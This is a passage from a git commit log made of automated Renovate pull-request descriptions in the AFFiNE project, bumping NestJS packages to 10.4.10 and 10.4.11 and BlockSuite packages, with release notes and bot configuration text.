| [@nestjs/common](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common)) | [`10.4.10` -> `10.4.11`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.10/10.4.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.10/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.10/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/core](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core)) | [`10.4.10` -> `10.4.11`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.10/10.4.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.10/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.10/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-express](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | [`10.4.10` -> `10.4.11`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.10/10.4.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.10/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.10/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-socket.io](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io)) | [`10.4.9` -> `10.4.11`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/10.4.9/10.4.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-socket.io/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-socket.io/10.4.9/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/10.4.9/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/testing](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing)) | [`10.4.10` -> `10.4.11`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.10/10.4.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.10/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.10/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets)) | [`10.4.9` -> `10.4.11`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/10.4.9/10.4.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fwebsockets/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fwebsockets/10.4.9/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/10.4.9/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

### [`v10.4.11`](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

### [`v10.4.11`](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

### [`v10.4.11`](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-socket.io)</summary>

### [`v10.4.11`](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

### [`v10.4.10`](https://redirect.github.com/nestjs/nest/releases/tag/v10.4.10)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.9...v10.4.10)

##### v10.4.10 (2024-11-27)

##### Bug fixes

-   `platform-socket.io`, `websockets`
    -   [#&#8203;14204](https://redirect.github.com/nestjs/nest/pull/14204) fix(websockets): ensure non-shared servers call close method ([@&#8203;sapenlei](https://redirect.github.com/sapenlei))

##### Dependencies

-   [#&#8203;14221](https://redirect.github.com/nestjs/nest/pull/14221) chore(deps): update mysql docker tag to v8.4.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14220](https://redirect.github.com/nestjs/nest/pull/14220) chore(deps): update dependency webpack to v5.96.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14219](https://redirect.github.com/nestjs/nest/pull/14219) chore(deps): update dependency nodemon to v3.1.7 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14218](https://redirect.github.com/nestjs/nest/pull/14218) chore(deps): update confluentinc/cp-zookeeper docker tag to v7.7.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14217](https://redirect.github.com/nestjs/nest/pull/14217) chore(deps): update confluentinc/cp-kafka docker tag to v7.7.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14216](https://redirect.github.com/nestjs/nest/pull/14216) fix(deps): update dependency rimraf to v5.0.10 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14215](https://redirect.github.com/nestjs/nest/pull/14215) fix(deps): update dependency dotenv to v16.4.5 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14214](https://redirect.github.com/nestjs/nest/pull/14214) fix(deps): update dependency [@&#8203;grpc/reflection](https://redirect.github.com/grpc/reflection) to v1.0.4 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;12940](https://redirect.github.com/nestjs/nest/pull/12940) fix(deps): update dependency mongoose to v8.8.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14207](https://redirect.github.com/nestjs/nest/pull/14207) chore(deps): update dependency [@&#8203;types/dotenv](https://redirect.github.com/types/dotenv) to v8.2.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14208](https://redirect.github.com/nestjs/nest/pull/14208) chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.17.8 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14209](https://redirect.github.com/nestjs/nest/pull/14209) chore(deps): update dependency amqplib to v0.10.5 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14212](https://redirect.github.com/nestjs/nest/pull/14212) chore(deps): update dependency webpack to v5.94.0 \[security] ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14210](https://redirect.github.com/nestjs/nest/pull/14210) chore(deps): update dependency husky to v9.1.7 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14211](https://redirect.github.com/nestjs/nest/pull/14211) chore(deps): update nest monorepo ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14206](https://redirect.github.com/nestjs/nest/pull/14206) chore(deps-dev): bump mongoose from 8.8.1 to 8.8.3 ([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))

##### Committers: 1

-   sapenlei ([@&#8203;sapenlei](https://redirect.github.com/sapenlei))

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/testing)</summary>

### [`v10.4.11`](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/websockets)</summary>

### [`v10.4.11`](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

### [`v10.4.10`](https://redirect.github.com/nestjs/nest/releases/tag/v10.4.10)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.9...v10.4.10)

##### v10.4.10 (2024-11-27)

##### Bug fixes

-   `platform-socket.io`, `websockets`
    -   [#&#8203;14204](https://redirect.github.com/nestjs/nest/pull/14204) fix(websockets): ensure non-shared servers call close method ([@&#8203;sapenlei](https://redirect.github.com/sapenlei))

##### Dependencies

-   [#&#8203;14221](https://redirect.github.com/nestjs/nest/pull/14221) chore(deps): update mysql docker tag to v8.4.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14220](https://redirect.github.com/nestjs/nest/pull/14220) chore(deps): update dependency webpack to v5.96.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14219](https://redirect.github.com/nestjs/nest/pull/14219) chore(deps): update dependency nodemon to v3.1.7 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14218](https://redirect.github.com/nestjs/nest/pull/14218) chore(deps): update confluentinc/cp-zookeeper docker tag to v7.7.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14217](https://redirect.github.com/nestjs/nest/pull/14217) chore(deps): update confluentinc/cp-kafka docker tag to v7.7.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14216](https://redirect.github.com/nestjs/nest/pull/14216) fix(deps): update dependency rimraf to v5.0.10 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14215](https://redirect.github.com/nestjs/nest/pull/14215) fix(deps): update dependency dotenv to v16.4.5 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14214](https://redirect.github.com/nestjs/nest/pull/14214) fix(deps): update dependency [@&#8203;grpc/reflection](https://redirect.github.com/grpc/reflection) to v1.0.4 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;12940](https://redirect.github.com/nestjs/nest/pull/12940) fix(deps): update dependency mongoose to v8.8.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14207](https://redirect.github.com/nestjs/nest/pull/14207) chore(deps): update dependency [@&#8203;types/dotenv](https://redirect.github.com/types/dotenv) to v8.2.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14208](https://redirect.github.com/nestjs/nest/pull/14208) chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.17.8 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14209](https://redirect.github.com/nestjs/nest/pull/14209) chore(deps): update dependency amqplib to v0.10.5 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14212](https://redirect.github.com/nestjs/nest/pull/14212) chore(deps): update dependency webpack to v5.94.0 \[security] ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14210](https://redirect.github.com/nestjs/nest/pull/14210) chore(deps): update dependency husky to v9.1.7 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14211](https://redirect.github.com/nestjs/nest/pull/14211) chore(deps): update nest monorepo ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14206](https://redirect.github.com/nestjs/nest/pull/14206) chore(deps-dev): bump mongoose from 8.8.1 to 8.8.3 ([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))

##### Committers: 1

-   sapenlei ([@&#8203;sapenlei](https://redirect.github.com/sapenlei))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-28 02:18:30 +00:00
renovate 8ab4ea7ed0 chore: bump up @blocksuite/affine version to v0.18.1 (#8948)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.18.0` -> `0.18.1`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.18.0/0.18.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.18.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.18.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.18.0/0.18.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.18.0/0.18.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.18.1`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0181)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.18.0...v0.18.1)

##### Patch Changes

-   [`e2d574c`](https://redirect.github.com/toeverything/blocksuite/commit/e2d574c): ## Feat

    -   feat: new doc dnd ([#&#8203;8808](https://redirect.github.com/toeverything/blocksuite/issues/8808))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-27 13:07:19 +00:00
renovate 68337fa77c chore: bump up @blocksuite/icons version to v2.1.71 (#8941)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/icons](https://redirect.github.com/toeverything/icons) | [`2.1.70` -> `2.1.71`](https://renovatebot.com/diffs/npm/@blocksuite%2ficons/2.1.70/2.1.71) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2ficons/2.1.71?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2ficons/2.1.71?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2ficons/2.1.70/2.1.71?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2ficons/2.1.70/2.1.71?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/icons (@&#8203;blocksuite/icons)</summary>

### [`v2.1.71`](https://redirect.github.com/toeverything/icons/compare/7a3a0b42448310024f787f9927936c8e8b506d67...c3f744f10213655833876de3fa9e211bf21d9f1c)

[Compare Source](https://redirect.github.com/toeverything/icons/compare/7a3a0b42448310024f787f9927936c8e8b506d67...c3f744f10213655833876de3fa9e211bf21d9f1c)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-27 10:06:14 +00:00
renovate 8c19b6f8f0 chore: bump up nestjs to v10.4.10 (#8943)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common)) | [`10.4.9` -> `10.4.10`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.9/10.4.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/core](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core)) | [`10.4.9` -> `10.4.10`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.9/10.4.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-express](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | [`10.4.9` -> `10.4.10`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.9/10.4.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-socket.io](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io)) | [`10.4.9` -> `10.4.10`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/10.4.9/10.4.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-socket.io/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-socket.io/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/testing](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing)) | [`10.4.9` -> `10.4.10`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.9/10.4.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets)) | [`10.4.9` -> `10.4.10`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/10.4.9/10.4.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fwebsockets/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fwebsockets/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/10.4.9/10.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

### [`v10.4.10`](https://redirect.github.com/nestjs/nest/compare/v10.4.9...5ebe4b93b3411d072e91d0a6809c72dde606b129)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.9...5ebe4b93b3411d072e91d0a6809c72dde606b129)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

### [`v10.4.10`](https://redirect.github.com/nestjs/nest/compare/v10.4.9...5ebe4b93b3411d072e91d0a6809c72dde606b129)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.9...5ebe4b93b3411d072e91d0a6809c72dde606b129)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

### [`v10.4.10`](https://redirect.github.com/nestjs/nest/compare/v10.4.9...5ebe4b93b3411d072e91d0a6809c72dde606b129)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.9...5ebe4b93b3411d072e91d0a6809c72dde606b129)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-socket.io)</summary>

### [`v10.4.10`](https://redirect.github.com/nestjs/nest/releases/tag/v10.4.10)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.9...v10.4.10)

##### v10.4.10 (2024-11-27)

##### Bug fixes

-   `platform-socket.io`, `websockets`
    -   [#&#8203;14204](https://redirect.github.com/nestjs/nest/pull/14204) fix(websockets): ensure non-shared servers call close method ([@&#8203;sapenlei](https://redirect.github.com/sapenlei))

##### Dependencies

-   [#&#8203;14221](https://redirect.github.com/nestjs/nest/pull/14221) chore(deps): update mysql docker tag to v8.4.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14220](https://redirect.github.com/nestjs/nest/pull/14220) chore(deps): update dependency webpack to v5.96.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14219](https://redirect.github.com/nestjs/nest/pull/14219) chore(deps): update dependency nodemon to v3.1.7 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14218](https://redirect.github.com/nestjs/nest/pull/14218) chore(deps): update confluentinc/cp-zookeeper docker tag to v7.7.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14217](https://redirect.github.com/nestjs/nest/pull/14217) chore(deps): update confluentinc/cp-kafka docker tag to v7.7.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14216](https://redirect.github.com/nestjs/nest/pull/14216) fix(deps): update dependency rimraf to v5.0.10 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14215](https://redirect.github.com/nestjs/nest/pull/14215) fix(deps): update dependency dotenv to v16.4.5 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14214](https://redirect.github.com/nestjs/nest/pull/14214) fix(deps): update dependency [@&#8203;grpc/reflection](https://redirect.github.com/grpc/reflection) to v1.0.4 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;12940](https://redirect.github.com/nestjs/nest/pull/12940) fix(deps): update dependency mongoose to v8.8.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14207](https://redirect.github.com/nestjs/nest/pull/14207) chore(deps): update dependency [@&#8203;types/dotenv](https://redirect.github.com/types/dotenv) to v8.2.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14208](https://redirect.github.com/nestjs/nest/pull/14208) chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.17.8 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14209](https://redirect.github.com/nestjs/nest/pull/14209) chore(deps): update dependency amqplib to v0.10.5 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14212](https://redirect.github.com/nestjs/nest/pull/14212) chore(deps): update dependency webpack to v5.94.0 \[security] ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14210](https://redirect.github.com/nestjs/nest/pull/14210) chore(deps): update dependency husky to v9.1.7 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
